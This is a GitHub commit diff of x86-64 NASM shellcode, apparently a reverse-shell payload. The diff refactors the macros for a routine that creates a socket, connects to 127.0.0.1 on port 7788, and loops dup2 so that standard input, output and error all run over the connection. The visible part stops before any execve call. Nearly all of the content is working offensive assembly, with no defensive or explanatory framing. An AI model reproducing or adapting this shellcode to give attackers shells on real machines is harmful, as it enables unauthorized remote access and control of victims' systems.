File tree Expand file tree Collapse file tree 1 file changed +12
-17
lines changed Expand file tree Collapse file tree 1 file changed +12
-17
lines changed Original file line number Diff line number Diff line change 5
5
;; port is littleEndian
6
6
%include "short64.s"
7
7
%include "syscall.s"
8
+ %include "util.s"
9
+
8
10
9
- %define IP 0x0100007f ;IP 127.0.0.1 Little Endian
10
- %define PORT 0x6c1e ;port 7788 Little Endian
11
+ %define IP ip ( 127 , 0 , 0 , 1 )
12
+ %define PORT htons( 7788 ) ;port 7788 Little Endian
11
13
%define AF_INET 2
12
14
%define SOCK_STREAM 1
13
15
%define ANY_PROTO 0
@@ -22,16 +24,14 @@ BITS 64
22
24
main:
23
25
24
26
open_my_socket:
25
- push byte socket
26
- pop rax
27
- push byte 2
27
+ push byte AF_INET
28
28
pop rdi
29
- push byte 1
29
+ push byte SOCK_STREAM
30
30
pop rsi
31
- push byte 0
31
+ push byte ANY_PROTO
32
32
pop rdx
33
- SYSTEM_CALL
34
- ;; rax has socket
33
+ SYSTEM_CALL(socket)
34
+
35
35
xchg rax , rdi
36
36
make_sockaddr:
37
37
push byte 0 ;lame part of sockaddr
@@ -42,19 +42,14 @@ make_sockaddr:
42
42
push 0x10
43
43
pop rdx ;addrlen
44
44
;RDI=sockfd
45
- push connect
46
- pop rax
47
- SYSTEM_CALL
45
+ SYSTEM_CALL(connect)
48
46
;; assume success (RAX=0)
49
47
50
48
51
- push byte 2
49
+ push byte 2 ;loop count and FD#
52
50
pop rsi
53
51
copy_stdin_out_err:
54
- push byte dup2
55
- pop rax
56
- SYSTEM_CALL
57
-
52
+ SYSTEM_CALL(dup2)
58
53
dec rsi
59
54
jns copy_stdin_out_err
60
55
You can’t perform that action at this time.
0 commit comments